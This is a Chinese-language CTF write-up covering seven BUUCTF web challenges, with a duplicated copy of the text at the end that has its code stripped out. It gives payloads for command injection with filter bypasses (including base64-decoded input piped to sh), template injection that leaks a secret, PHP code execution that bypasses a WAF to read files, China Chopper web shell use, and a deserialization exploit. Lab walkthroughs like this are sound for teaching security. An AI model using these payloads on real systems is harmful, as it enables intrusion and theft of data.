buuctf Web 下
字数 1618 2025-08-24 10:10:13

Web安全CTF题目解析与利用技巧

1. [ACTF2020 新生赛]Exec

题目分析

这是一个命令注入漏洞的题目,通过ping功能实现命令执行。

利用方法

使用管道符进行命令注入:

  1. | (按位或):直接执行后面的语句

    127.0.0.1 | cat /flag
    
  2. || (逻辑或):前面命令失败时执行后面命令

    abc || cat /flag
    
  3. & (按位与):前后命令都执行

    127.0.0.1 & cat /flag
    
  4. && (逻辑与):前面成功才执行后面

    ping 127.0.0.1 && whoami
    
  5. ; (分号):类似&的作用

    127.0.0.1 ; cat /flag
    

获取flag

127.0.0.1 | cat /flag

得到flag:flag{546c33d7-aa0d-4a05-90b6-33adbd281b2b}

2. [GXYCTF2019]Ping Ping Ping

题目分析

URL参数ip=存在命令注入,但有过滤机制:

  • 过滤空格
  • 过滤"flag"关键字
  • 过滤bash等

绕过技巧

  1. 绕过空格过滤

    $IFS${IFS}$IFS$1
    {cat,flag.php}
    %20 %09
    
  2. 绕过flag关键字

    • 变量替换:
      ?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
      
    • 内联执行:
      ?ip=127.0.0.1;cat$IFS$9`ls`
      
    • base64编码:
      ?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
      
    • 拆分字符:
      ?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php
      

获取flag

查看源码得到flag:flag{9c0ba8cc-cc60-43d2-8b87-e964e62fb538}

3. [极客大挑战 2019]Knife

题目分析

提示使用中国菜刀连接,密码已知。

利用方法

  1. 使用中国菜刀连接
  2. 连接密码:Syc
  3. 在虚拟终端执行:
    cat flag
    

获取flag

flag{749bca20-c6f1-44b0-b941-7d4f062e8323}

4. [极客大挑战 2019]Http

题目分析

需要修改HTTP请求头满足特定条件才能获取flag。

利用步骤

  1. 查看源码发现Secret.php
  2. 需要修改的请求头:
    • Referer: https://www.Sycsecret.com
    • User-Agent: Syclover
    • X-Forwarded-For: 127.0.0.1

请求包构造

GET /Secret.php HTTP/1.1
Host: node3.buuoj.cn:25490
User-Agent: Syclover
Referer: https://www.Sycsecret.com
X-Forwarded-For: 127.0.0.1
Connection: close

获取flag

flag{cb30a0b2-0822-43a2-8964-b55bffa0afe6}

5. [护网杯 2018]easy_tornado

题目分析

Tornado模板注入,需要获取cookie_secret计算filehash。

利用步骤

  1. 发现提示:flag in /fllllllllllllag

  2. 文件hash计算方式:md5(cookie_secret+md5(filename))

  3. 模板注入获取cookie_secret:

    /error?msg={{handler.settings}}
    

    得到:40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d

  4. 计算filehash:

    import hashlib
    filename = '/fllllllllllllag'
    cookie_secret = "40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d"
    s1 = hashlib.md5(filename.encode()).hexdigest()
    filehash = hashlib.md5((cookie_secret + s1).encode()).hexdigest()
    # 得到:0e68f61488cca5aad0677cad0f8b8e8e
    

最终payload

/file?filename=/fllllllllllllag&filehash=0e68f61488cca5aad0677cad0f8b8e8e

获取flag

flag{44570899-653f-48eb-be17-2f57febc0580}

6. [RoarCTF 2019]Easy Calc

题目分析

PHP字符串解析特性绕过WAF,存在代码执行漏洞。

绕过技巧

  1. PHP解析时会去掉参数前的空格,WAF无法检测
  2. 使用chr()函数绕过字符过滤

利用步骤

  1. 扫描根目录:

    calc.php?%20num=1;var_dump(scandir(chr(47)))
    

    发现flagg文件

  2. 读取文件内容:

    calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
    

获取flag

flag{cd181f15-8fca-45b2-9a03-1d881341575b}

7. [极客大挑战 2019]PHP

题目分析

PHP反序列化漏洞,需要绕过__wakeup()方法。

利用步骤

  1. 下载www.zip获取源码
  2. 分析class.php发现反序列化漏洞
  3. 构造payload绕过wakeup:
    • 原理:当成员属性数目大于实际数目时可绕过wakeup方法
    • 序列化对象:
      class Name {
          private $username = 'admin';
          private $password = '100';
      }
      $a = new Name();
      echo urlencode(serialize($a));
      

最终payload

/index.php?select=O%3A4%3A%22Name%22%3A3%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

获取flag

flag{89b1bbec-caf4-40ef-9f7f-6aa54620c140}

总结

本系列题目涵盖了多种Web安全漏洞:

  1. 命令注入与绕过技巧
  2. 文件包含与目录遍历
  3. HTTP头注入
  4. 模板注入(SSTI)
  5. PHP反序列化漏洞
  6. WAF绕过技巧

关键点在于理解各种过滤机制并找到合适的绕过方法,同时熟练掌握各种编码和字符串处理技术。

Web安全CTF题目解析与利用技巧 1. [ ACTF2020 新生赛 ]Exec 题目分析 这是一个命令注入漏洞的题目,通过ping功能实现命令执行。 利用方法 使用管道符进行命令注入: | (按位或) :直接执行后面的语句 || (逻辑或) :前面命令失败时执行后面命令 & (按位与) :前后命令都执行 && (逻辑与) :前面成功才执行后面 ; (分号) :类似&的作用 获取flag 得到flag: flag{546c33d7-aa0d-4a05-90b6-33adbd281b2b} 2. [ GXYCTF2019 ]Ping Ping Ping 题目分析 URL参数 ip= 存在命令注入,但有过滤机制: 过滤空格 过滤"flag"关键字 过滤bash等 绕过技巧 绕过空格过滤 : 绕过flag关键字 : 变量替换: 内联执行: base64编码: 拆分字符: 获取flag 查看源码得到flag: flag{9c0ba8cc-cc60-43d2-8b87-e964e62fb538} 3. [ 极客大挑战 2019 ]Knife 题目分析 提示使用中国菜刀连接,密码已知。 利用方法 使用中国菜刀连接 连接密码: Syc 在虚拟终端执行: 获取flag flag{749bca20-c6f1-44b0-b941-7d4f062e8323} 4. [ 极客大挑战 2019 ]Http 题目分析 需要修改HTTP请求头满足特定条件才能获取flag。 利用步骤 查看源码发现 Secret.php 需要修改的请求头: Referer: https://www.Sycsecret.com User-Agent: Syclover X-Forwarded-For: 127.0.0.1 请求包构造 获取flag flag{cb30a0b2-0822-43a2-8964-b55bffa0afe6} 5. [ 护网杯 2018]easy_ tornado 题目分析 Tornado模板注入,需要获取cookie_ secret计算filehash。 利用步骤 发现提示: flag in /fllllllllllllag 文件hash计算方式: md5(cookie_secret+md5(filename)) 模板注入获取cookie_ secret: 得到: 40ab5ed8-4c6f-4e2f-b92e-1fda29e82f4d 计算filehash: 最终payload 获取flag flag{44570899-653f-48eb-be17-2f57febc0580} 6. [ RoarCTF 2019 ]Easy Calc 题目分析 PHP字符串解析特性绕过WAF,存在代码执行漏洞。 绕过技巧 PHP解析时会去掉参数前的空格,WAF无法检测 使用chr()函数绕过字符过滤 利用步骤 扫描根目录: 发现 flagg 文件 读取文件内容: 获取flag flag{cd181f15-8fca-45b2-9a03-1d881341575b} 7. [ 极客大挑战 2019 ]PHP 题目分析 PHP反序列化漏洞,需要绕过__ wakeup()方法。 利用步骤 下载www.zip获取源码 分析class.php发现反序列化漏洞 构造payload绕过wakeup: 原理:当成员属性数目大于实际数目时可绕过wakeup方法 序列化对象: 最终payload 获取flag flag{89b1bbec-caf4-40ef-9f7f-6aa54620c140} 总结 本系列题目涵盖了多种Web安全漏洞: 命令注入与绕过技巧 文件包含与目录遍历 HTTP头注入 模板注入(SSTI) PHP反序列化漏洞 WAF绕过技巧 关键点在于理解各种过滤机制并找到合适的绕过方法,同时熟练掌握各种编码和字符串处理技术。